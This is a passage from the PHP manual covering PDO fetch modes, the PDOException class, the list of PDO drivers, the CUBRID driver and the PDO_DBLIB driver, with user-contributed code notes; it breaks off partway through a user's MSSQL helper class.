    print $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\n";
  }
}
catch (PDOException $e) {
  print $e->getMessage();
}
?>

The above example will output:

apple   red     150
banana  yellow  250
orange  orange  300
kiwi    brown   75
lemon   yellow  25
pear    green   150
watermelon      pink    90

User Contributed Notes

ronhenry at netspeed dot com dot au 04-Aug-2010 08:43
To create an object instance via the constructor solely from the result of the PDO query you must use PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, followed by the name of the class, then an array consisting of the names of the constructor elements. This may be specified in setFetchMode() for prepared statements, or fetch*() otherwise. This forces PDO to create your object instance by calling the constructor.

e.g setFetchMode (PDO::FETCH_CLASS , 'classname', array('paramName1', 'paramName2', ...).

An example using a prepared statement (without variable bindings) and fetchALL().

<?php
class Test
{
  private $id;
  private $a;
  private $b;

  function __construct ($id, $a, $b)
  {
    $this->id = $id;
    $this->a = $a;
    $this->b = $b;
  }

  public function display()
  {
    echo "<p>id: $this->id, a: $this->a, b: $this->b</p>";
  }
}

$testx = new Test(10, 'AAA', 'BBB' );
$testx->display();
$testx = NULL;

try
{
  $pdo = new PDO('mysql:host=127.0.0.1;dbname=Testing', 'user', 'pswd', array (PDO::ATTR_ERRMODE=>PDO::ERRMODE_EXCEPTION));

  // Prepared statement
  $stmt = $pdo->prepare("SELECT id, a, b FROM test WHERE id = 1");
  $stmt->setFetchMode(PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, "Test", array('id', 'a', 'b'));
  $stmt->execute();
  foreach ($stmt as $test)
    $test->display();

  // Same again with fetchALL()
  $stmt = $pdo->query("SELECT id, a, b FROM test WHERE id = 2");
  $test = $stmt->fetchALL(PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, 'Test', array('id', 'a', 'b'));
  $test[0]->display();

  $pdo = NULL;
}
catch (PDOException $e)
{
  echo 'Error: ', $e->__toString();
}
?>

You can avoid all this PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE and constructor fuss, and create an object instance from the result of a PDO query without a constructor, and with class properties declared as public, protected, private, or not at all:  just let PDO use reflection injection to populate your object instance with data from your query. This is PDO's default action. PDO will inject the specified variables into your object instance before php calls the constructor, so you should either not have a constructor, or have one with no parameters. Of course, you may have problems using this as a normal class. Also see the comments about reflection injection below.

<?php
class Test1
{
  public function display()
  {
    echo "<p>id: $this->id, a: $this->a, b: $this->b</p>";
  }
}

try
{
  $pdo = new PDO('mysql:host=127.0.0.1;dbname=Testing', 'user', 'pswd', array (PDO::ATTR_ERRMODE=>PDO::ERRMODE_EXCEPTION));

  $stmt = $pdo->prepare("SELECT id, a, b FROM test WHERE id = 1");
  $stmt->setFetchMode(PDO::FETCH_CLASS, "Test1");
  $stmt->execute();
  foreach ($stmt as $test1)
    $test1->display();

  $stmt = $pdo->query("SELECT id, a, b FROM test WHERE id = 2");
  $test1s = $stmt->fetchALL(PDO::FETCH_CLASS, 'Test1');
  foreach ($test1s as $test1)
    $test1->display();

  $pdo = NULL;
}
catch (PDOException $e)
{
  echo 'Error: ', $e->__toString();
}
?>

You can also use variables with PDO::FETCH_CLASS and the constructor parameter array, what you do is up you.

Reflection injection increases the risk of variable, code, and SQL injection if user input is used unwisely, so ALWAYS validate user input on the server side, and ONLY insert it into your SQL via bound parameters in prepared SQL statements. If you do not use PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, and a constructor element name array, you should be especially careful.
See: http://www.owasp.org/index.php/Reflection_injection for a non php description of reflection injection.
Dormilich at netscape dot net 13-Jul-2010 02:16
if you want to fetch your result into a class (by using PDO::FETCH_CLASS) and want the constructor to be executed *before* PDO assings the object properties, you need to use the PDO::FETCH_PROPS_LATE constant:

<?php
$stmt = $pdo->prepare("your query");

$stmt->setFetchMode(PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, "className", $constructorArguments);

# pass parameters, if required by the query
$stmt->execute($parameters);

foreach ($stmt as $row)
{
    // do something with (each of) your object
}
?>
harlequin2 at gmx dot de 10-Jun-2008 05:22
You can also set the fetch mode to FETCH_ASSOC if you do not need the column index. This reduces both the size of the resultset and is faster in some cases.

<?php
$stmt = $dbh->prepare("SELECT mykey, myvalue FROM mytable");
$stmt->setFetchMode(PDO::FETCH_ASSOC);
$arrValues = $stmt->fetchAll();
foreach ($arrValues as $row){
    print $row["mykey"]." -> ".$row["myvalue"]."<br />\n";
}
?>
stein_AT_rhrk.uni-kl.de 19-Nov-2007 04:04
Some note on PDO :: FETCH_CLASS | PDO :: FETCH_CLASSTYPE

It took me some time, to realize, that you can not use this fetch-mode in $stm->setFetchMode(), when you want to retrieve objects from the database whereas the type is defined by the first column in the resultset.
You have to define this mode directly in the $stm->fetch() method.

To make it clearer:

$stm = $pdo->query("SELECT * FROM `foo`);
$stm->setFetchMode(FETCH_CLASS | PDO :: FETCH_CLASSTYPE);

$object = $stm->fetch();

Will not return the expected object, whereas

$stm = $pdo->query("SELECT * FROM `foo`");

$object = $stm->fetch(FETCH_CLASS | PDO :: FETCH_CLASSTYPE);

will give you the object of the class, defined in the first column of `foo`.
matt at kynx dot org 18-Feb-2006 03:13
To fetch the rows into an existing instance of a class, use PDO::FETCH_INTO and pass the object as the second parameter.

The class _must_ have the column names declared as public members, or the script will die. But overloading with __set() and __get() lets it handle any column your query throws at it.

Set the fetch mode right after you call prepare(). It appears you _must_ use execute() - fetch() won't work. A small example, adapted from ext/pdo/tests/pdo_025.phpt:

<?php
class Test
{
    protected $cols;

    function __set($name, $value) {
        $this->cols[$name] = $value;
    }

    function __get($name) {
        return $this->cols[$name];
    }
}

$obj = new Test();
$db = PDOTest::factory();
$stmt = $db->prepare("select * from test");
$stmt->setFetchMode(PDO::FETCH_INTO, $obj);
$stmt->execute();

foreach ($stmt as $a) {
    print_r($a);
}

print_r($obj); // contains the same values as the last iteration above
?>
Dariusz Kielar 12-Feb-2006 10:55
PDO::FETCH_CLASS may be used only with this method and it takes up to three parameters then:
 - int mode
 - string className
 - array constructorArgs (optional)

<?php
$stmt = $pdo -> query('your query');
$stmt -> setFetchMode(PDO::FETCH_CLASS, 'yourClass', array(0 => false));

while($row = $stmt -> fetch())
{
   // $row is an object of "yourClass" class
}
$stmt -> closeCursor();
?>

Note also that the constructor is called AFTER the data is set on the object.
PDOStatement::setAttribute
PDOException
PDOStatement


The PDOException class

(No version information available, might only be in SVN)

Introduction

Represents an error raised by PDO. You should not throw a PDOException from your own code. See Exceptions for more information about Exceptions in PHP.

Class synopsis

PDOException extends RuntimeException {
/* Properties */
public array $errorInfo ;
protected string $message ;
protected string $code ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

Properties

errorInfo

Corresponds to PDO::errorInfo() or PDOStatement::errorInfo()

message

Textual error message. Exception::getMessage() to access it.

code

SQLSTATE error code. Use Exception::getCode() to access it.

User Contributed Notes

Marco01_809 &#34;at&#34; web &#34;dot&#34; de 21-Aug-2010 05:06
This is a PDOException Error handler for Using/Debugging in Web Browser.

<?php
echo '<html><head><title>PHP PDO Tests</title></head><body>';

// Try the following code:
try {
    $db = new PDO('sqlite:database.sdb'); // Create a new PDO Object
    $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // Set Errorhandling to Exception

    $db->query("BlaBlaBla"); // Query something wrong

    $db = null; // "Disconnect"
}
catch (PDOException $err) {
    // Catch Expcetions from the above code for our Exception Handling
    $trace = '<table border="0">';
    foreach ($err->getTrace() as $a => $b) {
        foreach ($b as $c => $d) {
            if ($c == 'args') {
                foreach ($d as $e => $f) {
                    $trace .= '<tr><td><b>' . strval($a) . '#</b></td><td align="right"><u>args:</u></td> <td><u>' . $e . '</u>:</td><td><i>' . $f . '</i></td></tr>';
                }
            } else {
                $trace .= '<tr><td><b>' . strval($a) . '#</b></td><td align="right"><u>' . $c . '</u>:</td><td></td><td><i>' . $d . '</i></td>';
            }
        }
    }
    $trace .= '</table>';
    echo '<br /><br /><br /><font face="Verdana"><center><fieldset style="width: 66%; border: 4px solid white; background: black;"><legend><b>[</b>PHP PDO Error ' . strval($err->getCode()) . '<b>]</b></legend> <table border="0"><tr><td align="right"><b><u>Message:</u></b></td><td><i>' . $err->getMessage() . '</i></td></tr><tr><td align="right"><b><u>Code:</u></b></td><td><i>' . strval($err->getCode()) . '</i></td></tr><tr><td align="right"><b><u>File:</u></b></td><td><i>' . $err->getFile() . '</i></td></tr><tr><td align="right"><b><u>Line:</u></b></td><td><i>' . strval($err->getLine()) . '</i></td></tr><tr><td align="right"><b><u>Trace:</u></b></td><td><br /><br />' . $trace . '</td></tr></table></fieldset></center></font>';
}

echo '</body></html>';
?>
samuelelliot+php dot net at gmail dot com 15-May-2010 12:45
PDOException has two methods for retrieving information about an error. When interpreting the PDOException I run into a problem, the error code that is provided by getCode() is meaningless.  I have come up with a method to make both the error code and message more usable.

A bad username or password would normally provide the following:

CODE : 0
Message : "SQLSTATE[28000] [1045] Access denied for user 'user'@'example.com' (using password: YES)"

Using my extended exception class provides:

CODE: "28000"
Message: "Access denied for user 'user'@'example.com' (using password: YES)"

<?php
class pdoDbException extends PDOException {

    public function __construct(PDOException $e) {
        if(strstr($e->getMessage(), 'SQLSTATE[')) {
            preg_match('/SQLSTATE\[(\w+)\] \[(\w+)\] (.*)/', $e->getMessage(), $matches);
            $this->code = ($matches[1] == 'HT000' ? $matches[2] : $matches[1]);
            $this->message = $matches[3];
        }
    }
}
?>

To walk threw the method; first the beginning of the message is checked for the SQLSTATE text.  If the text is present, message is then parsed to pull the ANSI code, the SQL specific code, and the message.  The parsed values are stored in there respective variables.  The error code variable stores the ANSI code, unless ANSI is 'HT000' (unmapped error code) then SQL specific code is used.

Using this class is easy; when interacting with PDO use a try catch set of blocks, as follows:

<?php
try {
    $pdo = new PDO($dns, $username, $password, $options);
} catch (PDOException $e) {
    throw new pdoDbException($e);
}
?>

Now you can use the normal error methods to retrieve the real error code and message.

<?php
echo $err->getCode(); // Outputs: "28000"
echo $err->getMessage(); // Outputs: "Access denied for user 'user'@'example.com' (using password: YES)"
?>

If you decide to use this code, be aware that the error code is a string (as apposed to PHP standard errors which are integers) as some error codes are alphanumeric.
Typer85 at gmail dot com 22-Jan-2010 06:13
Here is something interesting regarding a PDOException and it involves some of the annoyances that can be associated with PHP's dynamic nature.

PDOException extends from RuntimeException, which in return extends from Exception. As such, it has access to the $code Protected Class Variable, which represents the Exception's code as an Integer (duh!) and can be accessed externally using the Exception::getCode Method.

Here is the interesting part. PDOException actually redefines $code as a String and not an Integer because for its case, $code actually contains the Exception's SQL State, which is composed of characters and numbers.

It is actually documented in the manual that $code is a String and not an Integer but it might not be immedietley clear because it is hidden by the fact that PDOException::getCode is documented to return an Integer and not a String!

Some developers like to catch a PDOException and rethrow it as a different Exception if they wrap their database calls in an external library. For example, consider the following code:

<?php

try {
    $PDO = new PDO( '...' ); // PDO Driver DSN. Throws A PDOException.
}
catch( PDOException $Exception ) {
    // PHP Fatal Error. Second Argument Has To Be An Integer, But PDOException::getCode Returns A
    // String.
    throw new MyDatabaseException( $Exception->getMessage( ) , $Exception->getCode( ) );
}

?>

Be careful in that you have to typecast the value returned by PDOException::getCode to an Integer BEFORE you pass it as an Argument to your Exception's Constructor. The following will work:

<?php

try {
    $PDO = new PDO( '...' ); // PDO Driver DSN. Throws A PDOException.
}
catch( PDOException $Exception ) {
    // Note The Typecast To An Integer!
    throw new MyDatabaseException( $Exception->getMessage( ) , (int)$Exception->getCode( ) );
}

?>

Hope this will save some developers some frustrating hours from an otherwise enjoyable job :)

Good Luck,
PDOStatement::setFetchMode
PDO Drivers
PDO


PDO Drivers

Table of Contents

  • CUBRID (PDO)
  • MS SQL Server (PDO)
  • Firebird/Interbase (PDO)
  • IBM (PDO)
  • Informix (PDO)
  • MySQL (PDO)
  • MS SQL Server (PDO)
  • Oracle (PDO)
  • ODBC and DB2 (PDO)
  • PostgreSQL (PDO)
  • SQLite (PDO)
  • 4D (PDO)

The following drivers currently implement the PDO interface:

Driver name | Supported databases
PDO_CUBRID | Cubrid
PDO_DBLIB | FreeTDS / Microsoft SQL Server / Sybase
PDO_FIREBIRD | Firebird/Interbase 6
PDO_IBM | IBM DB2
PDO_INFORMIX | IBM Informix Dynamic Server
PDO_MYSQL | MySQL 3.x/4.x/5.x
PDO_OCI | Oracle Call Interface
PDO_ODBC | ODBC v3 (IBM DB2, unixODBC and win32 ODBC)
PDO_PGSQL | PostgreSQL
PDO_SQLITE | SQLite 3 and SQLite 2
PDO_SQLSRV | Microsoft SQL Server / SQL Azure
PDO_4D | 4D

User Contributed Notes

tthibodeau at openlinksw dot com 03-Aug-2010 07:16
It should be noted that PDO ODBC works with the iODBC driver manager (default for Mac OS X and some other environments, and optional on most non-Windows platforms) as well as with UnixODBC and Windows ODBC.
PDOException
CUBRID (PDO)
PDO


CUBRID Functions (PDO_CUBRID)

Introduction

PDO_CUBRID is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to CUBRID databases.

Note:

Current version of PDO_CUBRID doesn't support persistent connection now.

Installation

To build the PDO_CUBRID extension, the CUBRID DBMS must be installed on the same system as PHP. PDO_CUBRID is a » PECL extension, so follow the instructions in Installation of PECL extensions to install the PDO_CUBRID extension. Issue the configure command to point to the location of your CUBRID base dir as follows:

   $ ./configure --with-pdo-cubrid=/path/to/CUBRID[,shared]
The configure command defaults to the value of the CUBRID environment variable.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section. Detailed information about installation on Linux and Windows manually, please read build-guide.html in PECL package CUBRID for reference.

Features

PDO_CUBRID Features
Feature | Description
Scrollable cursors | PDO_CUBRID supports scrollable cursors. The default cursor type is forward only, and you can use parameter driver_options in PDO::prepare() to change cursor type.
Timeout | PDO_CUBRID supports sql statement execution timeout setting; You can use PDO::setAttribute() to set timeout value.
Autocommit_mode and Transaction PDO_CUBRID supports both autocommit_mode and transaction, and autocommit_mode is disabled by default. You can use PDO::setAttribute() to change its state.

If you use PDO::beginTransaction() to begin a transaction, it will disable autocommit_mode automatically and restore it after PDO::commit() or PDO::rollBack(). Note that before disabling the autocommit_mode, any pending work is automatically committed.

Multiple SQL Statements | PDO_CUBRID supports Multiple SQL statements. Multiple SQL statements are separated by semicolons (;)
Schema Information | PDO_CUBRID implements a function PDO::cubrid_schema() to get schema information.
LOBs PDO_CUBRID supports BLOB/CLOB data type. The LOB in PDO is represented as a stream, so you can insert LOBs by binding a stream, and get LOBs by reading a stream returned by CUBRID PDO. For example:

Example #1 Insert LOBs in CUBRID PDO

<?php
$fp = fopen('lob_test.png', 'rb');

$sql_stmt = "INSERT INTO lob_test(name, content) VALUES('lob_test.png', ?)";

$stmt = $dbh->prepare($sql_stmt);
$ret = $stmt->bindParam(1, $fp, PDO::PARAM_LOB);
$ret = $stmt->execute();
?>

Example #2 Fetch LOBs in CUBRID PDO

<?php
$sql_stmt = "SELECT content FROM lob_test WHERE name='lob_test.png'";

$stmt = $dbh->prepare($sql_stmt);
$stmt->execute();
$result = $stmt->fetch(PDO::FETCH_NUM);

header("Content-Type: image/png");
fpassthru($result[0]);
?>

Column meta The PDOStatement::getColumnMeta() in CUBRID PDO will return an associative array containing the following values:
  • type
  • name
  • table
  • def
  • precision
  • scale
  • not_null
  • auto_increment
  • unique_key
  • multiple_key
  • primary_key
  • foreign_key
  • reverse_index
  • reverse_unique

Predefined Constants

The constants below are defined by this driver, and will only be available when the extension has been either compiled into PHP or dynamically loaded at runtime. In addition, these driver-specific constants should only be used if you are using this driver. Using driver-specific attributes with another driver may result in unexpected behaviour. PDO::getAttribute() may be used to obtain the PDO_ATTR_DRIVER_NAME attribute to check the driver, if your code can run against multiple drivers.

The following constants can be used when setting the database attribute. They can be passed to PDO::getAttribute() or PDO::setAttribute().

PDO::CUBRID attribute flags
Constant | Description
PDO::CUBRID_ATTR_ISOLATION_LEVEL | Transaction isolation level for the database connection.
PDO::CUBRID_ATTR_LOCK_TIMEOUT | Transaction timeout in seconds.
PDO::CUBRID_ATTR_MAX_STRING_LENGTH | Read only. The maximum string length for bit, varbit, char, varchar, nchar, nchar varying data types when using CUBRID PDO API.

The following constants can be used when setting the transaction isolation level. They can be passed to PDO::getAttribute() or returned by PDO::setAttribute().

PDO::CUBRID isolation level flags
Constant | Description
PDO::TRAN_COMMIT_CLASS_UNCOMMIT_INSTANCE | The lowest isolation level (1). A dirty, non-repeatable or phantom read may occur for the tuple and a non-repeatable read may occur for the table as well.
PDO::TRAN_COMMIT_CLASS_COMMIT_INSTANCE | A relatively low isolation level (2). A dirty read does not occur, but non-repeatable or phantom read may occur.
PDO::TRAN_REP_CLASS_UNCOMMIT_INSTANCE | The default isolation of CUBRID (3). A dirty, non-repeatable or phantom read may occur for the tuple, but repeatable read is ensured for the table.
PDO::TRAN_REP_CLASS_COMMIT_INSTANCE | A relatively low isolation level (4). A dirty read does not occur, but non-repeatable or phantom read may.
PDO::TRAN_REP_CLASS_REP_INSTANCE | A relatively high isolation level (5). A dirty or non-repeatable read does not occur, but a phantom read may.
PDO::TRAN_SERIALIZABLE | The highest isolation level (6). Problems concerning concurrency (e.g. dirty read, non-repeatable read, phantom read, etc.) do not occur.

The following constants can be used when getting schema information. They can be passed to PDO::cubrid_schema().

PDO::CUBRID schema flags
Constant | Description
PDO::CUBRID_SCH_TABLE | Get name and type of table in CUBRID.
PDO::CUBRID_SCH_VIEW | Get name and type of view in CUBRID.
PDO::CUBRID_SCH_QUERY_SPEC | Get the query definition of view.
PDO::CUBRID_SCH_ATTRIBUTE | Get the attributes of table column.
PDO::CUBRID_SCH_TABLE_ATTRIBUTE | Get the attributes of table.
PDO::CUBRID_SCH_METHOD | Get the instance method. The instance method is a method called by a class instance. It is used more often than the class method because most operations are executed in the instance.
PDO::CUBRID_SCH_TABLE_METHOD | Get the class method. The class method is a method called by a class object. It is usually used to create a new class instance or to initialize it. It is also used to access or update class attributes.
PDO::CUBRID_SCH_METHOD_FILE | Get the information of the file where the method of the table is defined.
PDO::CUBRID_SCH_SUPER_TABLE | Get the name and type of table which table inherites attributes from.
PDO::CUBRID_SCH_SUB_TABLE | Get the name and type of table which inherites attributes from this table.
PDO::CUBRID_SCH_CONSTRAINT | Get the table constraints.
PDO::CUBRID_SCH_TRIGGER | Get the table triggers.
PDO::CUBRID_SCH_TABLE_PRIVILEGE | Get the privilege information of table.
PDO::CUBRID_SCH_COL_PRIVILEGE | Get the privilege information of column.
PDO::CUBRID_SCH_DIRECT_SUPER_TABLE | Get the direct super table of table.
PDO::CUBRID_SCH_PRIMARY_KEY | Get the table primary key.
PDO::CUBRID_SCH_IMPORTED_KEYS | Get imported keys of table.
PDO::CUBRID_SCH_EXPORTED_KEYS | Get exported keys of table.
PDO::CUBRID_SCH_CROSS_REFERENCE | Get reference relationship of tow tables.

Table of Contents

  • PDO_CUBRID DSN — Connecting to CUBRID databases
  • PDO::cubrid_schema — Get the requested schema information

User Contributed Notes

There are no user contributed notes for this page.
PDO Drivers
PDO_CUBRID DSN
PDO Drivers


Connecting to CUBRID databases

CUBRID (PDO)
PDO::cubrid_schema
CUBRID (PDO)
PHP Manual

PDO_CUBRID DSN

(No version information available, might only be in SVN)

PDO_CUBRID DSN — Connecting to CUBRID databases

Description

The PDO_CUBRID Data Source Name (DSN) is composed of the following elements, delimited by semicolons:

DSN prefix

The DSN prefix is cubrid:.

host

The hostname on which the database server resides.

port

The port on which the database server is running.

dbname

The name of the database.

Examples

Example #1 PDO_CUBRID DSN examples

The following example shows a PDO_CUBRID DSN for connecting to a CUBRID database:

cubrid:host=localhost;port=33000;dbname=demodb

User Contributed Notes

There are no user contributed notes for this page.
CUBRID (PDO)
PDO::cubrid_schema
CUBRID (PDO)


Get the requested schema information

PDO_CUBRID DSN
MS SQL Server (PDO)
CUBRID (PDO)
PHP Manual

PDO::cubrid_schema

(No version information available, might only be in SVN)

PDO::cubrid_schema — Get the requested schema information

Description

array PDO::cubrid_schema ( int $schema_type [, string $table_name [, string $col_name ]] )

This function is used to get the requested schema information from database. You have to designate table_name, if you want to get information on certain table, col_name, if you want to get information on certain column (can be used only with PDO::CUBRID_SCH_COL_PRIVILEGE).

The result of this function is returned as a two-dimensional array (column (associative array) * row (numeric array)). The following tables shows types of schema and the column structure of the result array to be returned based on the schema type.

Result Composition of Each Type
Schema | Column Number | Column Name | Value
PDO::CUBRID_SCH_TABLE | 1 | NAME |
 | 2 | TYPE | 0:system table 1:view 2:table
PDO::CUBRID_SCH_VIEW | 1 | NAME |
 | 2 | TYPE | 1:view
PDO::CUBRID_SCH_QUERY_SPEC | 1 | QUERY_SPEC |
PDO::CUBRID_SCH_ATTRIBUTE / PDO::CUBRID_SCH_TABLE_ATTRIBUTE | 1 | ATTR_NAME |
 | 2 | DOMAIN |
 | 3 | SCALE |
 | 4 | PRECISION |
 | 5 | INDEXED | 1:indexed
 | 6 | NOT NULL | 1:not null
 | 7 | SHARED | 1:shared
 | 8 | UNIQUE | 1:unique
 | 9 | DEFAULT |
 | 10 | ATTR_ORDER | base:1
 | 11 | CLASS_NAME |
 | 12 | SOURCE_CLASS |
 | 13 | IS_KEY | 1:key
PDO::CUBRID_SCH_METHOD / PDO::CUBRID_SCH_TABLE_METHOD | 1 | NAME |
 | 2 | RET_DOMAIN |
 | 3 | ARG_DOMAIN |
PDO::CUBRID_SCH_METHOD_FILE | 1 | METHOD_FILE |
PDO::CUBRID_SCH_SUPER_TABLE / PDO::CUBRID_SCH_DIRECT_SUPER_TABLE / PDO::CUBRID_SCH_SUB_TABLE | 1 | CLASS_NAME |
 | 2 | TYPE | 0:system table 1:view 2:table
PDO::CUBRID_SCH_CONSTRAINT | 1 | TYPE | 0:unique 1:index 2:reverse unique 3:reverse index
 | 2 | NAME |
 | 3 | ATTR_NAME |
 | 4 | NUM_PAGES |
 | 5 | NUM_KEYS |
 | 6 | PRIMARY_KEY | 1:primary key
 | 7 | KEY_ORDER | base:1
PDO::CUBRID_SCH_TRIGGER | 1 | NAME |
 | 2 | STATUS |
 | 3 | EVENT |
 | 4 | TARGET_CLASS |
 | 5 | TARGET_ATTR |
 | 6 | ACTION_TIME |
 | 7 | ACTION |
 | 8 | PRIORITY |
 | 9 | CONDITION_TIME |
 | 10 | CONDITION |
PDO::CUBRID_SCH_TABLE_PRIVILEGE / PDO::CUBRID_SCH_COL_PRIVILEGE | 1 | CLASS_NAME / ATTR_NAME |
 | 2 | PRIVILEGE |
 | 3 | GRANTABLE |
PDO::CUBRID_SCH_PRIMARY_KEY | 1 | CLASS_NAME |
 | 2 | ATTR_NAME |
 | 3 | KEY_SEQ | base:1
 | 4 | KEY_NAME |
PDO::CUBRID_SCH_IMPORTED_KEYS / PDO::CUBRID_SCH_EXPORTED_KEYS / PDO::CUBRID_SCH_CROSS_REFERENCE | 1 | PKTABLE_NAME |
 | 2 | PKCOLUMN_NAME |
 | 3 | FKTABLE_NAME | base:1
 | 4 | FKCOLUMN_NAME |
 | 5 | KEY_SEQ | base:1
 | 6 | UPDATE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 7 | DELETE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 8 | FK_NAME |
 | 9 | PK_NAME |

Parameters

schema_type

Schema type that you want to know.

table_name

Table you want to know the schema of.

col_name

Column you want to know the schema of.

Return Values

Array containing the schema information, when process is successful;

FALSE, when process is unsuccessful

Examples

Example #1 A PDO::cubrid_schema() example

This example shows how to get primary key and foreign keys of table game.

<?php
$pk_list = $dbh->cubrid_schema(PDO::CUBRID_SCH_PRIMARY_KEY, "game");
print_r($pk_list);

$fk_list = $dbh->cubrid_schema(PDO::CUBRID_SCH_IMPORTED_KEYS, "game");
print_r($fk_list);
?>

The above example will output:

Result:
Array
(
    [0] => Array
        (
            [CLASS_NAME] => game
            [ATTR_NAME] => athlete_code
            [KEY_SEQ] => 3
            [KEY_NAME] => pk_game_host_year_event_code_athlete_code
        )

    [1] => Array
        (
            [CLASS_NAME] => game
            [ATTR_NAME] => event_code
            [KEY_SEQ] => 2
            [KEY_NAME] => pk_game_host_year_event_code_athlete_code
        )

    [2] => Array
        (
            [CLASS_NAME] => game
            [ATTR_NAME] => host_year
            [KEY_SEQ] => 1
            [KEY_NAME] => pk_game_host_year_event_code_athlete_code
        )

)
Array
(
    [0] => Array
        (
            [PKTABLE_NAME] => athlete
            [PKCOLUMN_NAME] => code
            [FKTABLE_NAME] => game
            [FKCOLUMN_NAME] => athlete_code
            [KEY_SEQ] => 1
            [UPDATE_RULE] => 1
            [DELETE_RULE] => 1
            [FK_NAME] => fk_game_athlete_code
            [PK_NAME] => pk_athlete_code
        )

    [1] => Array
        (
            [PKTABLE_NAME] => event
            [PKCOLUMN_NAME] => code
            [FKTABLE_NAME] => game
            [FKCOLUMN_NAME] => event_code
            [KEY_SEQ] => 1
            [UPDATE_RULE] => 1
            [DELETE_RULE] => 1
            [FK_NAME] => fk_game_event_code
            [PK_NAME] => pk_event_code
        )

)

User Contributed Notes

There are no user contributed notes for this page.
PDO_CUBRID DSN
MS SQL Server (PDO)
CUBRID (PDO)


Microsoft SQL Server and Sybase Functions (PDO_DBLIB)

Introduction

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

PDO_DBLIB is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to Microsoft SQL Server and Sybase databases through the FreeTDS libary.

This extension is not available anymore on Windows with PHP 5.3 or later.

On Windows, you should use SqlSrv, an alternative driver for MS SQL is available from Microsoft: » http://msdn.microsoft.com/en-us/sqlserver/ff657782.aspx .

If it is not possible to use SqlSrv, you can use the PDO_ODBC driver to connect to Microsoft SQL Server and Sybase databases, as the native Windows DB-LIB is ancient, thread un-safe and no longer supported by Microsoft.

Table of Contents

  • PDO_DBLIB DSN — Connecting to Microsoft SQL Server and Sybase databases

User Contributed Notes

TomF 18-Oct-2011 08:18
Note that you must connect with an MS SQL user - FreeTDS does not seem to like active directory linked users.
meltir at meltir dot com 21-Jan-2011 08:48
Keep in mind the limitation sql server imposes on clients using the connection methods that dblib uses:
no ntext column values can be transmitted, you will get an insightfull '4004' error when trying.

The full text of the error is:
Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier.

For more info on errors that mssql might throw at you, please see:
http://msdn.microsoft.com/en-us/library/aa937595%28v=SQL.80%29.aspx
xwisdom at gmail dot com 09-Dec-2010 03:42
Here's how to call a stored procedure from MS SQL Server:

<?php
$return = null;
$param1 = 'value1';
$param2 = 'value2';

$ds = $db->prepare('{? = call ?,?}');
$ds->bindParam(1, $return, PDO::PARAM_INT | PDO::PARAM_INPUT_OUTPUT,4);
$ds->bindParam(2, $param1, PDO::PARAM_INT | PDO::PARAM_INPUT_OUTPUT,4);
$ds->bindParam(3, $param2, PDO::PARAM_INT | PDO::PARAM_INPUT_OUTPUT,4);

$ds->execute();
?>
Matej 12-Oct-2010 09:04
How to use mssql pdo on PHP 5.3 on IIS 7 (Windows Server 2008)

1. Installation of MSSQL driver for PHP:
Download Microsoft Drivers for PHP for SQL Server Microsoft Drivers for PHP for SQL Server - SQLSRV20.EXE - http://www.microsoft.com/downloads/en/details.aspx
?FamilyID=80e44913-24b4-4113-8807-caae6cf2ca05)
Copy php_sqlsrv_53_ts_vc9.dll and php_pdo_sqlsrv_53_ts_vc9.dll to php extension directory

2. configure php.ini to work with MSSQL PDO
extension=php_sqlsrv_53_ts_vc9.dll
extension=php_pdo_sqlsrv_53_ts_vc9.dll

3. configure  configuration
            'connectionString' => 'sqlsrv:server=hostname_or_ip;Database=database_name;',
twilson at tridiumtech dot com 20-Oct-2009 06:05
Hopefully this will help someone who is having problems connecting to MSSQL. I was having a heck of a time trying to get my dev server to connect to a remote MSSQL 2005 box.

When using PDO like so:
<?php
$mssql = new PDO('dblib:host=<host>;dbname=<dbname>','<user>','<password>');
?>

I was receiving the message:

Adaptive Server is unavailable or does not exist

And mssql_connect() simply told me "Could not connect to server"

I tried everything, different configuration options for FreeTDS/PHP, different versions, etc. But the answer was one line in php.ini:

mssql.secure_connection = Off

This line, which defaults to Off, needs to be ON if you are using NT authentication:

mssql.secure_connection = On

Here is my build:

FreeTDS-0.82 configured like:
./configure --with-tdsver=8.0 --enable-msdblib --with-gnu-ld

PHP 5.2.11 configured like:
./configure --with-mssql=/usr/local --with-pdo-dblib=/usr/local [other options]

Running on Apache/2.2.13 (Unix / Linux)

Feel free to email me if you need help as I've spent 20+ hours reading and fiddling with this issue, so I'm very familiar with it now.

Peace,
Tom
dpassey at everettsd dot org 29-May-2009 01:35
For PDO MSSQL connection issues, ensure that you have the updated version of ntwdblib.dll (currently 8.00.194 as of this post).  Overwrite the existing (old) file or place it in the Windows system32 folder.  The version that ships with PHP 5.2.X does not work.  This is a well known issue apparently, but I had a really hard time finding information on this issue until I was able to lock in a file name.  I hope that this helps someone.
tris+php at tfconsulting dot com dot au 24-Mar-2009 07:03
If you are struggling with
'Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier.'
when trying to do 'SELECT *' queries:

Obviously the best way to deal with this is change your unicode fields to the ascii equivalent (ntext > text), but if that is not an option here is an implementation based on the info at http://www.rochester.edu/IT/web/WebHelp/mssql/limitations.html which checks the data types of the fields and casts them as neccesary.

<?php
class mssql {
    private static $statement=null;

    private static $typemap=array(
        'ntext' => 'text',
        'bigint' => 'real',
        'decimal' => 'real',
        'float' => 'real',
